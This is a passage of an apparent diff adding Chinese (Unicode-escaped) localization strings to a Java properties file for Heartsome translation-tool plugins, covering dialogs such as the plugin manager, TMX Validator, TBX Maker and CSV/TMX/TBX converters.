\u6587\u4ef6\u540e\u91cd\u8bd5\u3002 +plugin.PluginConfigManage.msg7 = \u65e0\u6cd5\u8fd0\u884c\u8be5\u63d2\u4ef6\uff0c\u8bf7\u91cd\u65b0\u914d\u7f6e\u8be5\u63d2\u4ef6\u7684\u53ef\u6267\u884c\u6587\u4ef6\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +plugin.PluginConfigManage.msg8 = \u65e0\u6cd5\u8fd0\u884c\u8be5\u63d2\u4ef6\uff0c\u8bf7\u91cd\u65b0\u914d\u7f6e\u8be5\u63d2\u4ef6\u7684\u4ea4\u6362\u6587\u4ef6\u8def\u5f84\u3001\u5e76\u786e\u8ba4\u8be5\u6587\u4ef6\u53ef\u8bfb\u5199\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +plugin.PluginConfigManage.msg9 = \u65e0\u6cd5\u5904\u7406\uff1a\u6587\u4ef6 {0} \u4e0d\u5b58\u5728\uff0c\u8bf7\u786e\u8ba4\u8be5\u6587\u4ef6\u662f\u5426\u5df2\u88ab\u5220\u9664\u3002 +plugin.PluginConstants.right = \u7248\u6743\u6240\u6709 2012 Heartsome +dialog.AboutDialog.title = \u5173\u4e8e + +# \u63d2\u4ef6\u7ba1\u7406\u5bf9\u8bdd\u6846 +dialog.PluginConfigurationDialog.title = \u63d2\u4ef6\u7ba1\u7406\u5668 +dialog.PluginConfigurationDialog.addBtn = \u6dfb\u52a0(&A) +dialog.PluginConfigurationDialog.editBtn = \u7f16\u8f91(&E) +dialog.PluginConfigurationDialog.deleteBtn = \u5220\u9664(&D) +dialog.PluginConfigurationDialog.cancel = \u5173\u95ed +dialog.PluginConfigurationDialog.columnNames1 = \u540d\u79f0 +dialog.PluginConfigurationDialog.columnNames2 = \u53ef\u6267\u884c\u6587\u4ef6 +dialog.PluginConfigurationDialog.columnNames3 = \u8f93\u51fa +dialog.PluginConfigurationDialog.columnNames4 = \u8f93\u5165 +dialog.PluginConfigurationDialog.msgTitle = \u63d0\u793a +dialog.PluginConfigurationDialog.msg1 = \u8bf7\u9009\u62e9\u8981\u7f16\u8f91\u7684\u63d2\u4ef6\u3002 +dialog.PluginConfigurationDialog.msgTitle2 = \u786e\u8ba4 +dialog.PluginConfigurationDialog.msg2 = \u786e\u5b9a\u8981\u5220\u9664\u6240\u9009\u62e9\u7684\u63d2\u4ef6\u5417\uff1f +dialog.PluginConfigurationDialog.msg3 = \u8bf7\u9009\u62e9\u8981\u5220\u9664\u7684\u63d2\u4ef6\u3002 + +# \u6dfb\u52a0/\u7f16\u8f91\u63d2\u4ef6 +dialog.PluginConfigManageDialog.title1 = \u6dfb\u52a0\u63d2\u4ef6 +dialog.PluginConfigManageDialog.title2 = \u7f16\u8f91\u63d2\u4ef6 +dialog.PluginConfigManageDialog.nameLbl = \u540d\u79f0\uff1a +dialog.PluginConfigManageDialog.commandLbl = \u53ef\u6267\u884c\u6587\u4ef6\uff1a +dialog.PluginConfigManageDialog.browseBtn = \u6d4f\u89c8(&B)... +dialog.PluginConfigManageDialog.names1 = \u53ef\u6267\u884c\u6587\u4ef6 [*.exe] +dialog.PluginConfigManageDialog.names2 = \u6240\u6709\u6587\u4ef6 [*.*] +dialog.PluginConfigManageDialog.dialogTitle = \u9009\u62e9\u63d2\u4ef6\u7684\u53ef\u6267\u884c\u6587\u4ef6 +dialog.PluginConfigManageDialog.group = \u5feb\u6377\u952e +dialog.PluginConfigManageDialog.keyLbl = \u5feb\u6377\u952e\uff1a +dialog.PluginConfigManageDialog.processGroup = \u8f93\u5165 +dialog.PluginConfigManageDialog.outputSegemntBtn = \u5f53\u524d\u6587\u672c\u6bb5 +dialog.PluginConfigManageDialog.outputDocumentBtn = \u5f53\u524d\u6587\u6863 +dialog.PluginConfigManageDialog.outputBlankBtn = \u65e0 +dialog.PluginConfigManageDialog.returnGroup = \u8f93\u51fa +dialog.PluginConfigManageDialog.inputUpdateFileBtn = \u5df2\u66f4\u65b0\u7684\u4ea4\u6362\u6587\u4ef6 +dialog.PluginConfigManageDialog.inputUpdateDocuBtn = \u5df2\u66f4\u65b0\u7684\u6587\u6863 +dialog.PluginConfigManageDialog.inputBlankBtn = \u65e0 +dialog.PluginConfigManageDialog.switchLbl = \u4ea4\u6362\u6587\u4ef6\uff1a +dialog.PluginConfigManageDialog.switchBrowseBtn = \u6d4f\u89c8(&W)... +dialog.PluginConfigManageDialog.dialogTitle2 = \u9009\u62e9\u63d2\u4ef6\u7684\u4ea4\u6362\u6587\u4ef6 +dialog.PluginConfigManageDialog.msgTitle = \u63d0\u793a +dialog.PluginConfigManageDialog.msg1 = \u8bf7\u8f93\u5165\u63d2\u4ef6\u540d\u79f0\u3002 +dialog.PluginConfigManageDialog.msg2 = \u8bf7\u8bbe\u7f6e\u63d2\u4ef6\u7684\u53ef\u6267\u884c\u6587\u4ef6\u3002 +dialog.PluginConfigManageDialog.msg3 = \u8be5\u63d2\u4ef6\u5df2\u7ecf\u5b58\u5728\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 + +# \u63d2\u4ef6\uff1aTMX Validator +plugin.TMXValidator.msg1 = TMX \u6587\u4ef6 {0} \u89e3\u6790\u5931\u8d25\n +plugin.TMXValidator.msg2 = \u6587\u6863\uff1a +plugin.TMXValidator.msg3 = \u4e0d\u662f TMX \u6587\u6863\uff1b\n +plugin.TMXValidator.msg4 = \u6b63\u5728\u6839\u636e DTD \u6267\u884c\u9a8c\u8bc1 ...\n +plugin.TMXValidator.msg5 = TMX \u4e34\u65f6\u6587\u4ef6 {0} \u89e3\u6790\u5931\u8d25\n +plugin.TMXValidator.msg6 = \u6b63\u5728\u9a8c\u8bc1 TMX \u6587\u4ef6\u7684\u5408\u6cd5\u6027... \n +plugin.TMXValidator.msg7 = \u9519\u8bef\uff1a\u672a\u58f0\u660e\u6e90\u8bed\u8a00\u3002\n +plugin.TMXValidator.msg8 = \u9519\u8bef\uff1a\u6e90\u8bed\u8a00 {0} \u4e0d\u6b63\u786e\u3002\n +plugin.TMXValidator.msg9 = \u6e90\u8bed\u8a00\uff1a{0}\n +plugin.TMXValidator.msg10 = \u6587\u6863\u6709\u6548\u3002\n +plugin.TMXValidator.msg11 = \u672a\u627e\u5230\u6587\u4ef6 {0} \u7684\u7f13\u5b58\u3002 +plugin.TMXValidator.msg12 = \u9519\u8bef\uff1a \u8282\u70b9\u5305\u542b\u672a\u58f0\u660e\u7684\u8bed\u8a00\u3002\n +plugin.TMXValidator.msg13 = \u9519\u8bef\uff1a \u5143\u7d20\u7f3a\u5c11\u8bed\u8a00\u4e3a {0} \u7684 \u3002\n +plugin.TMXValidator.msg14 = \u9519\u8bef\uff1a \u5143\u7d20\u4e2d\u5c5e\u6027 i \u7684\u503c\u91cd\u590d\u3002 +plugin.TMXValidator.msg15 = \u9519\u8bef\uff1a/ \u5143\u7d20\u4e2d\u5c5e\u6027 i \u7684\u503c\u91cd\u590d\u3002 +plugin.TMXValidator.msg16 = \u9519\u8bef\uff1a/ \u5143\u7d20\u7684\u6570\u76ee\u4e0d\u6210\u5bf9\u3002 +plugin.TMXValidator.msg17 = \u9519\u8bef\uff1a/ \u5143\u7d20\u6ca1\u6709\u5bf9\u5e94\u7684 / \u5143\u7d20\u3002 +plugin.TMXValidator.msg18 = \u9519\u8bef\uff1a\u8bed\u8a00\u4ee3\u7801 {0} \u65e0\u6548\u3002 +plugin.TMXValidator.msg19 = \u9519\u8bef\uff1a\u65e5\u671f\u683c\u5f0f {0} \u65e0\u6548\u3002 +plugin.TMXValidator.msg20 = \u9519\u8bef\uff1atuid \u5c5e\u6027\u503c {0} \u91cd\u590d\u3002 + +dialog.ColumnRemoveDialog.title = \u5220\u9664\u5217 +dialog.ColumnRemoveDialog.btnRemove = \u5220\u9664\u6240\u9009\u5217 +dialog.ColumnRemoveDialog.msgTitle = \u63d0\u793a +dialog.ColumnRemoveDialog.msg1 = \u8bf7\u9009\u62e9\u8981\u5220\u9664\u7684\u5217\u3002 +dialog.ColumnRemoveDialog.msg2 = \u81f3\u5c11\u9700\u8981\u4fdd\u7559\u4e24\u5217\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u8981\u5220\u9664\u7684\u5217\u3002 +dialog.ColumnTypeDialog.title = \u9009\u62e9\u5217\u5c5e\u6027 +dialog.ColumnTypeDialog.column1 = \u5217 +dialog.ColumnTypeDialog.column2 = \u5217\u7c7b\u578b +dialog.ColumnTypeDialog.column3 = \u7c7b\u578b +dialog.ColumnTypeDialog.column4 = \u5c5e\u6027 +dialog.ColumnTypeDialog.column5 = \u672f\u8bed\u8bed\u8a00 +dialog.ColumnTypeDialog.btnLoadConfiguration = \u52a0\u8f7d\u914d\u7f6e... +dialog.ColumnTypeDialog.btnSaveConfiguration = \u4fdd\u5b58\u914d\u7f6e... +dialog.ColumnTypeDialog.fdTitle = \u9009\u62e9\u914d\u7f6e\u6587\u4ef6 +dialog.ColumnTypeDialog.filterName1 = \u914d\u7f6e\u6587\u4ef6 [*.ctc] +dialog.ColumnTypeDialog.filterName2 = \u6240\u6709\u6587\u4ef6 [*.*] +dialog.ColumnTypeDialog.msgTitle = \u63d0\u793a +dialog.ColumnTypeDialog.msg1 = \u6240\u9009 CTC \u914d\u7f6e\u6587\u4ef6\u4e2d\u7684\u5217\u6570\u4e0e\u5f53\u524d\u6587\u4ef6\u4e0d\u540c\uff0c\u65e0\u6cd5\u52a0\u8f7d\u914d\u7f6e\u3002\u8bf7\u91cd\u65b0\u9009\u62e9\u3002 +dialog.ColumnTypeDialog.logger1 = [LOG] \u52a0\u8f7d CTC \u914d\u7f6e\u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef +dialog.ColumnTypeDialog.savefdTitle = \u9009\u62e9\u4fdd\u5b58\u4f4d\u7f6e\u53ca\u4fdd\u5b58\u6587\u4ef6\u540d +dialog.ColumnTypeDialog.logger2 = [LOG] \u4fdd\u5b58\u914d\u7f6e\u65f6\u51fa\u73b0\u9519\u8bef +dialog.ColumnTypeDialog.msg2 = \u672a\u5b9a\u4e49\u4ee5\u4e0b\u5217\u7684\u5c5e\u6027\uff0c\u8bf7\u91cd\u65b0\u5b9a\u4e49\uff1a +dialog.ColumnTypeDialog.msg3 = \u4ee5\u4e0b\u8bed\u8a00\u7684\u5217\u91cd\u590d\uff0c\u8bf7\u91cd\u65b0\u5b9a\u4e49\uff1a +dialog.ColumnTypeDialog.msg4 = \u672a\u5b9a\u4e49\u4ee5\u4e0b\u8bed\u8a00\u7684\u672f\u8bed\uff0c\u8bf7\u91cd\u65b0\u5b9a\u4e49\uff1a + +dialog.CSV2TMXConverterDialog.title = CSV to TMX Converter +dialog.CSV2TMXConverterDialog.lblRowCount = {0} \u884c +dialog.CSV2TMXConverterDialog.lblColCount = {0} \u5217 +dialog.CSV2TMXConverterDialog.fileMenu = \u6587\u4ef6(&F) +dialog.CSV2TMXConverterDialog.openItem = \u6253\u5f00 CSV \u6587\u4ef6... +dialog.CSV2TMXConverterDialog.exportItem = \u8f6c\u6362\u4e3a TMX \u6587\u4ef6... +dialog.CSV2TMXConverterDialog.exitItem = \u9000\u51fa +dialog.CSV2TMXConverterDialog.taskMenu = \u4efb\u52a1(&T) +dialog.CSV2TMXConverterDialog.deleteColItem = \u5220\u9664\u5217... +dialog.CSV2TMXConverterDialog.colPropertyItem = \u9009\u62e9\u8bed\u8a00... +dialog.CSV2TMXConverterDialog.helpMenu = \u5e2e\u52a9(&H) +dialog.CSV2TMXConverterDialog.helpContentItem = \u5e2e\u52a9\u5185\u5bb9... +dialog.CSV2TMXConverterDialog.aboutItem = \u5173\u4e8e... +dialog.CSV2TMXConverterDialog.version = \u7248\u672c +dialog.CSV2TMXConverterDialog.openToolItem = \u6253\u5f00 CSV \u6587\u4ef6 +dialog.CSV2TMXConverterDialog.exporToolItem = \u8f6c\u6362\u4e3a TMX \u6587\u4ef6 +dialog.CSV2TMXConverterDialog.deleteColToolItem = \u5220\u9664\u5217 +dialog.CSV2TMXConverterDialog.setColToolItem = \u9009\u62e9\u8bed\u8a00 +dialog.CSV2TMXConverterDialog.helpToolBar = \u5e2e\u52a9\u5185\u5bb9 +dialog.CSV2TMXConverterDialog.msgTitle = \u63d0\u793a +dialog.CSV2TMXConverterDialog.msg1 = CSV \u6587\u4ef6\u4e2d\u81f3\u5c11\u8981\u6709\u4e24\u5217\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9 CSV \u6587\u4ef6\u3001\u5e76\u6b63\u786e\u8bbe\u7f6e\u5176\u5217\u5206\u9694\u7b26\u3001\u6587\u672c\u754c\u5b9a\u7b26\u548c\u7f16\u7801\u3002 +dialog.CSV2TMXConverterDialog.logger1 = [LOG] \u89e3\u6790 CSV \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef +dialog.CSV2TMXConverterDialog.msg2 = CSV \u6587\u4ef6\u4e2d\u81f3\u5c11\u8981\u6709\u4e24\u5217\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9 CSV \u6587\u4ef6\u3001\u5e76\u6b63\u786e\u8bbe\u7f6e\u5176\u5217\u5206\u9694\u7b26\u3001\u6587\u672c\u754c\u5b9a\u7b26\u548c\u7f16\u7801\u3002 +dialog.CSV2TMXConverterDialog.msg3 = \u8bf7\u8bbe\u7f6e\u6bcf\u5217\u5bf9\u5e94\u7684\u8bed\u8a00\u3002 +dialog.CSV2TMXConverterDialog.msg4 = \u5df2\u6210\u529f\u5c06 CSV \u8f6c\u6362\u4e3a TMX\u3002 +dialog.CSV2TMXConverterDialog.logger2 = [LOG] \u5bfc\u51fa TMX \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef +dialog.CSV2TMXConverterDialog.ExportDialog.title = \u8f6c\u6362\u4e3a TMX \u6587\u4ef6 +dialog.CSV2TMXConverterDialog.ExportDialog.lblTMX = TMX \u6587\u4ef6\uff1a +dialog.CSV2TMXConverterDialog.ExportDialog.btnBrowse = \u6d4f\u89c8(&B)... +dialog.CSV2TMXConverterDialog.ExportDialog.dialogTitle = \u9009\u62e9\u8981\u4fdd\u5b58\u7684 TMX \u8def\u5f84\u548c\u6587\u4ef6\u540d +dialog.CSV2TMXConverterDialog.ExportDialog.filterName1 = TMX \u6587\u4ef6 [*.tmx] +dialog.CSV2TMXConverterDialog.ExportDialog.filterName2 = \u6240\u6709\u6587\u4ef6 [*.*] +dialog.CSV2TMXConverterDialog.ExportDialog.optionsGrp = \u9009\u9879 +dialog.CSV2TMXConverterDialog.ExportDialog.src = \u6e90\u8bed\u8a00 +dialog.CSV2TMXConverterDialog.ExportDialog.versionTMX = TMX \u7248\u672c +dialog.CSV2TMXConverterDialog.ExportDialog.ok = \u8f6c\u6362 +dialog.CSV2TMXConverterDialog.LanguageSettingDialog.title = \u9009\u62e9\u8bed\u8a00 + +dialog.CSVSettingDialog.title = \u6253\u5f00 CSV \u6587\u4ef6 +dialog.CSVSettingDialog.lblFile = CSV \u6587\u4ef6\uff1a +dialog.CSVSettingDialog.btnBrowse = \u6d4f\u89c8(&B)... +dialog.CSVSettingDialog.dialogTitle = \u9009\u62e9 CSV \u6587\u4ef6 +dialog.CSVSettingDialog.filters1 = CSV \u6587\u4ef6 [*.csv] +dialog.CSVSettingDialog.filters2 = \u6587\u672c\u6587\u4ef6 [*.txt] +dialog.CSVSettingDialog.filters3 = \u6240\u6709\u6587\u4ef6 [*.*] +dialog.CSVSettingDialog.cmbColSeparator = \u5217\u5206\u9694\u7b26\uff1a +dialog.CSVSettingDialog.cmbTextDelimiter = \u6587\u672c\u5b9a\u754c\u7b26\uff1a +dialog.CSVSettingDialog.cmbEncoding = \u7f16\u7801\uff1a +dialog.CSVSettingDialog.cmbLang = \u4e3b\u8bed\u8a00\uff1a +dialog.CSVSettingDialog.cmbXCSTemplate = XCS \u6a21\u677f\uff1a +dialog.CSVSettingDialog.msgTitle = \u63d0\u793a +dialog.CSVSettingDialog.msg1 = \u8bf7\u9009\u62e9 CSV \u6587\u4ef6\u3002 +dialog.CSVSettingDialog.msg2 = \u8bf7\u8bbe\u7f6e TBX \u7684\u4e3b\u8bed\u8a00\u3002 + +dialog.JavaPropertiesViewerDialog.title = Java Properties Viewer +dialog.JavaPropertiesViewerDialog.fileMenu = \u6587\u4ef6(&F) +dialog.JavaPropertiesViewerDialog.openFileItem = \u6253\u5f00 Java Properties \u6587\u4ef6 +dialog.JavaPropertiesViewerDialog.quitItem = \u9000\u51fa +dialog.JavaPropertiesViewerDialog.helpMenu = \u5e2e\u52a9(&H) +dialog.JavaPropertiesViewerDialog.aboutItem = \u5173\u4e8e... +dialog.JavaPropertiesViewerDialog.toolBar = \u6253\u5f00 Java Properties \u6587\u4ef6 +dialog.JavaPropertiesViewerDialog.helpToolItem = \u5e2e\u52a9\u5185\u5bb9 +dialog.JavaPropertiesViewerDialog.columnNames1 = \u952e +dialog.JavaPropertiesViewerDialog.columnNames2 = \u503c +dialog.JavaPropertiesViewerDialog.names1 = Java Properties \u6587\u4ef6 [*.properties] +dialog.JavaPropertiesViewerDialog.names2 = \u6240\u6709\u6587\u4ef6 [*.*] + +dialog.Martif2TBXConverterDialog.title = MARTIF to TBX Converter +dialog.Martif2TBXConverterDialog.txtMartif = MARTIF \u6587\u4ef6\uff1a +dialog.Martif2TBXConverterDialog.btnMartifBrowse = \u6d4f\u89c8(&B)... +dialog.Martif2TBXConverterDialog.txtTBX = TBX \u6587\u4ef6\uff1a +dialog.Martif2TBXConverterDialog.btnTBXBrowse = \u6d4f\u89c8(&W)... +dialog.Martif2TBXConverterDialog.fileMenu = \u6587\u4ef6(&F) +dialog.Martif2TBXConverterDialog.exitItem = \u9000\u51fa +dialog.Martif2TBXConverterDialog.helpMenu = \u5e2e\u52a9(&H) +dialog.Martif2TBXConverterDialog.aboutItem = \u5173\u4e8e... +dialog.Martif2TBXConverterDialog.dialogName = MARTIF to TBX Converter +dialog.Martif2TBXConverterDialog.dialogVersion = \u7248\u672c\uff1a1.1.0 +dialog.Martif2TBXConverterDialog.dialogTitle1 = \u539f\u59cb MARTIF \u6587\u4ef6 +dialog.Martif2TBXConverterDialog.names1 = MARTIF \u6587\u4ef6 [*.mtf] +dialog.Martif2TBXConverterDialog.names2 = \u6240\u6709\u6587\u4ef6 [*.*] +dialog.Martif2TBXConverterDialog.dialogTitle2 = \u5c06 TBX \u6587\u4ef6\u4fdd\u5b58\u4e3a +dialog.Martif2TBXConverterDialog.filters1 = TBX \u6587\u4ef6 [*.tbx] +dialog.Martif2TBXConverterDialog.filters2 = \u6240\u6709\u6587\u4ef6 [*.*] +dialog.Martif2TBXConverterDialog.ok = \u8f6c\u6362 +dialog.Martif2TBXConverterDialog.cancel = \u53d6\u6d88 +dialog.Martif2TBXConverterDialog.msgTitle = \u63d0\u793a +dialog.Martif2TBXConverterDialog.msg1 = \u8bf7\u9009\u62e9 MARTIF \u6587\u4ef6\u3002 +dialog.Martif2TBXConverterDialog.msg2 = \u8bf7\u8bbe\u7f6e\u8981\u4fdd\u5b58\u7684 TBX \u8def\u5f84\u53ca\u6587\u4ef6\u540d\u3002 +dialog.Martif2TBXConverterDialog.msg3 = MARTIF \u5df2\u6210\u529f\u8f6c\u6362\u4e3a TBX\u3002 + +dialog.RTFCleanerDialog.title = RTF Cleaner +dialog.RTFCleanerDialog.aboutName = RTF Cleaner +dialog.RTFCleanerDialog.aboutVersion = \u7248\u672c\uff1a1.1.0 +dialog.RTFCleanerDialog.fileMenu = \u6587\u4ef6(&F) +dialog.RTFCleanerDialog.addStylesItem = \u6e05\u7406 RTF \u6587\u4ef6... +dialog.RTFCleanerDialog.exitItem = \u9000\u51fa +dialog.RTFCleanerDialog.addStyleItem = \u6e05\u7406 RTF \u6587\u4ef6 +dialog.RTFCleanerDialog.dialogTitle = \u9009\u62e9 RTF \u6587\u4ef6 +dialog.RTFCleanerDialog.filters1 = RTF \u6587\u4ef6 [*.rtf] +dialog.RTFCleanerDialog.filters2 = \u6240\u6709\u6587\u4ef6 [*.*] +dialog.RTFCleanerDialog.msgTitle = \u63d0\u793a +dialog.RTFCleanerDialog.msg1 = \u4ece {0} \u4e2d\u5220\u9664\u9690\u85cf\u6587\u672c\u65f6\u51fa\u9519\uff0c\u8bf7\u91cd\u8bd5\uff1a +dialog.RTFCleanerDialog.msg2 = RTF \u6587\u4ef6\u4e2d\u7684\u6807\u8bb0\u5df2\u6e05\u7406\u5b8c\u6210\u3002 + +dialog.TBXMakerDialog.title = TBX Maker +dialog.TBXMakerDialog.lblRowCount = {0} \u884c +dialog.TBXMakerDialog.lblColCount = {0} \u5217 +dialog.TBXMakerDialog.fileMenu = \u6587\u4ef6(&F) +dialog.TBXMakerDialog.openCSVItem = \u6253\u5f00 CSV \u6587\u4ef6... +dialog.TBXMakerDialog.exportTBXItem = \u8f6c\u6362\u4e3a TBX \u6587\u4ef6... +dialog.TBXMakerDialog.exitItem = \u9000\u51fa +dialog.TBXMakerDialog.taskMenu = \u4efb\u52a1(&T) +dialog.TBXMakerDialog.deleteColItem = \u5220\u9664\u5217... +dialog.TBXMakerDialog.colPropertyItem = \u5217\u5c5e\u6027... +dialog.TBXMakerDialog.helpMenu = \u5e2e\u52a9(&H) +dialog.TBXMakerDialog.helpContentItem = \u5e2e\u52a9\u5185\u5bb9... +dialog.TBXMakerDialog.aboutItem = \u5173\u4e8e... +dialog.TBXMakerDialog.aboutItemName = TBX Maker +dialog.TBXMakerDialog.aboutItemVersion = \u7248\u672c\uff1a1.1.0 +dialog.TBXMakerDialog.openToolItem = \u6253\u5f00 CSV \u6587\u4ef6 +dialog.TBXMakerDialog.exporToolItem = \u5bfc\u51fa\u4e3a TBX \u6587\u4ef6 +dialog.TBXMakerDialog.deleteColToolItem = \u5220\u9664\u5217 +dialog.TBXMakerDialog.setColToolItem = \u9009\u62e9\u5217\u5c5e\u6027 +dialog.TBXMakerDialog.helpToolItem = \u5e2e\u52a9\u5185\u5bb9 +dialog.TBXMakerDialog.msgTitle = \u63d0\u793a +dialog.TBXMakerDialog.msg1 = CSV \u6587\u4ef6\u4e2d\u81f3\u5c11\u8981\u6709\u4e24\u5217\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9 CSV \u6587\u4ef6\u3001\u5e76\u6b63\u786e\u8bbe\u7f6e\u5176\u5217\u5206\u9694\u7b26\u3001\u6587\u672c\u754c\u5b9a\u7b26\u548c\u7f16\u7801\u3002 +dialog.TBXMakerDialog.logger1 = [LOG] \u89e3\u6790 CSV \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef +dialog.TBXMakerDialog.msg2 = CSV \u6587\u4ef6\u4e2d\u81f3\u5c11\u8981\u6709\u4e24\u5217\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9 CSV \u6587\u4ef6\u3001\u5e76\u6b63\u786e\u8bbe\u7f6e\u5176\u5217\u5206\u9694\u7b26\u3001\u6587\u672c\u754c\u5b9a\u7b26\u548c\u7f16\u7801\u3002 +dialog.TBXMakerDialog.msg3 = \u8bf7\u5148\u8bbe\u7f6e\u5217\u5c5e\u6027\u3002 +dialog.TBXMakerDialog.msg4 = CSV \u6587\u4ef6\u5df2\u6210\u529f\u8f6c\u6362\u4e3a TBX\u3002 +dialog.TBXMakerDialog.logger2 = [LOG] \u5bfc\u51fa TBX \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef +dialog.TBXMakerDialog.ExportDialog.title = \u8f6c\u6362\u4e3a TBX \u6587\u4ef6 +dialog.TBXMakerDialog.ExportDialog.lblTBX = TBX \u6587\u4ef6\uff1a +dialog.TBXMakerDialog.ExportDialog.btnBrowse = \u6d4f\u89c8(&B)... +dialog.TBXMakerDialog.ExportDialog.dialogTitle = \u9009\u62e9\u5bfc\u51fa\u4f4d\u7f6e\u548c\u5bfc\u51fa\u6587\u4ef6\u540d +dialog.TBXMakerDialog.ExportDialog.names1 = TBX \u6587\u4ef6 [*.tbx] +dialog.TBXMakerDialog.ExportDialog.names2 = \u6240\u6709\u6587\u4ef6 [*.*] +dialog.TBXMakerDialog.ok = \u8f6c\u6362 + +dialog.TMX2TXTConverterDialog.title = TMX to TXT Converter +dialog.TMX2TXTConverterDialog.ok = \u8f6c\u6362 +dialog.TMX2TXTConverterDialog.cancel = \u53d6\u6d88 +dialog.TMX2TXTConverterDialog.fileMenu = \u6587\u4ef6(&F) +dialog.TMX2TXTConverterDialog.quitItem = \u9000\u51fa +dialog.TMX2TXTConverterDialog.helpMenu = \u5e2e\u52a9(&H) +dialog.TMX2TXTConverterDialog.aboutItem = \u5173\u4e8e... +dialog.TMX2TXTConverterDialog.tmxLbl = TMX \u6587\u4ef6\uff1a +dialog.TMX2TXTConverterDialog.tmxBrowseBtn = \u6d4f\u89c8(&B)... +dialog.TMX2TXTConverterDialog.txtLbl = TXT \u6587\u4ef6\uff1a +dialog.TMX2TXTConverterDialog.txtBrowseBtn = \u6d4f\u89c8(&W)... +dialog.TMX2TXTConverterDialog.TMXNames1 = TMX \u6587\u4ef6 [*.tmx] +dialog.TMX2TXTConverterDialog.TMXNames2 = \u6240\u6709\u6587\u4ef6 [*] +dialog.TMX2TXTConverterDialog.TXTNames1 = Translator's Workbench \u6587\u4ef6 [*.txt] +dialog.TMX2TXTConverterDialog.TXTNames2 = \u6240\u6709\u6587\u4ef6 [*.*] +dialog.TMX2TXTConverterDialog.msgTitle = \u63d0\u793a +dialog.TMX2TXTConverterDialog.msg1 = \u8bf7\u9009\u62e9 TMX \u6587\u4ef6\u3002 +dialog.TMX2TXTConverterDialog.msg2 = \u8bf7\u9009\u62e9 TXT \u6587\u4ef6\u3002 +dialog.TMX2TXTConverterDialog.msgTitle2 = \u786e\u8ba4 +dialog.TMX2TXTConverterDialog.msg3 = \u6587\u4ef6 {0} \u5df2\u7ecf\u5b58\u5728\uff0c\u786e\u5b9a\u8981\u8986\u76d6\u5417\uff1f +dialog.TMX2TXTConverterDialog.job = TMX \u8f6c\u6362\u6210 TXT +dialog.TMX2TXTConverterDialog.task = TMX \u8f6c\u6362\u6210 TXT... +dialog.TMX2TXTConverterDialog.msg4 = \u8be5\u6587\u4ef6\u4e0d\u7b26\u5408 TMX \u6807\u51c6\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u5408\u6cd5\u7684 TMX \u6587\u4ef6\u3002 +dialog.TMX2TXTConverterDialog.msg5 = \u65e0\u6cd5\u5c06 TMX \u8f6c\u6362\u4e3a TXT\uff0c\u8bf7\u91cd\u8bd5\u3002 +dialog.TMX2TXTConverterDialog.msg6 = \u8be5\u6587\u4ef6\u4e0d\u7b26\u5408 TMX v1.4 \u7248\u672c\u6807\u51c6\uff0c\u4e0d\u652f\u6301\u5f53\u524d\u7684 TMX \u7248\u672c\u3002\u8bf7\u91cd\u65b0\u9009\u62e9\u7b26\u5408 TMX v1.4 \u7248\u672c\u6807\u51c6\u7684\u6587\u4ef6\u3002 +dialog.TMX2TXTConverterDialog.msg7 = \u8be5\u6587\u4ef6\u7684\u5185\u5bb9\u4e3a\u7a7a\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9 TMX \u6587\u4ef6\u3002 +dialog.TMX2TXTConverterDialog.msg8 = \u65e0\u6cd5\u8f6c\u6362\uff1a\u672a\u627e\u5230 {0} \u7684\u7f13\u5b58\uff0c\u8bf7\u91cd\u8bd5\u3002 + +dialog.TMXValidatorDialog.title = TMX Validator +dialog.TMXValidatorDialog.fileMenu = \u6587\u4ef6(&F) +dialog.TMXValidatorDialog.openFileItem = \u9a8c\u8bc1 TMX \u6587\u4ef6 +dialog.TMXValidatorDialog.clearCharItem = \u6e05\u7406 TMX \u6587\u4ef6 +dialog.TMXValidatorDialog.quitItem = \u9000\u51fa +dialog.TMXValidatorDialog.helpMenu = \u5e2e\u52a9(&H) +dialog.TMXValidatorDialog.aboutItem = \u5173\u4e8e... +dialog.TMXValidatorDialog.openItem = \u9a8c\u8bc1 TMX \u6587\u4ef6 +dialog.TMXValidatorDialog.clearCharsItem = \u6e05\u7406 TMX \u6587\u4ef6 +dialog.TMXValidatorDialog.helpToolItem = \u5e2e\u52a9\u5185\u5bb9 +dialog.TMXValidatorDialog.names1 = TMX \u6587\u4ef6 [*.tmx] +dialog.TMXValidatorDialog.names2 = \u6240\u6709\u6587\u4ef6 [*.*] +dialog.TMXValidatorDialog.styledText1 = \u6b63\u5728\u6e05\u7406 {0}...\n +dialog.TMXValidatorDialog.msg1 = \u6e05\u7406 {0} \u65f6\u51fa\u73b0\u672a\u77e5\u7684\u9519\u8bef\n +dialog.TMXValidatorDialog.styledText2 = \u6587\u4ef6\u5df2\u6e05\u7406\u3002\n + +dialog.XSLTransformationDialog.title = XSL Transformation +dialog.XSLTransformationDialog.lblSource = \u6e90\u6587\u4ef6\uff1a +dialog.XSLTransformationDialog.btnSource = \u6d4f\u89c8(&B)... +dialog.XSLTransformationDialog.lblXSL = XSL \u6837\u5f0f\u8868\uff1a +dialog.XSLTransformationDialog.btnXSL = \u6d4f\u89c8(&R)... +dialog.XSLTransformationDialog.lblTarget = \u5df2\u8f6c\u6362\u7684\u6587\u4ef6\uff1a +dialog.XSLTransformationDialog.btnTarget = \u6d4f\u89c8(&W)... +dialog.XSLTransformationDialog.btnOpenFile = \u5b8c\u6210\u540e\u6253\u5f00\u5df2\u8f6c\u6362\u7684\u6587\u4ef6 +dialog.XSLTransformationDialog.fileItem = \u6587\u4ef6(&F) +dialog.XSLTransformationDialog.exitItem = \u9000\u51fa +dialog.XSLTransformationDialog.helpMenu = \u5e2e\u52a9(&H) +dialog.XSLTransformationDialog.aboutItem = \u5173\u4e8e... +dialog.XSLTransformationDialog.aboutItemName = XSL Transformation +dialog.XSLTransformationDialog.aboutItemVersion = 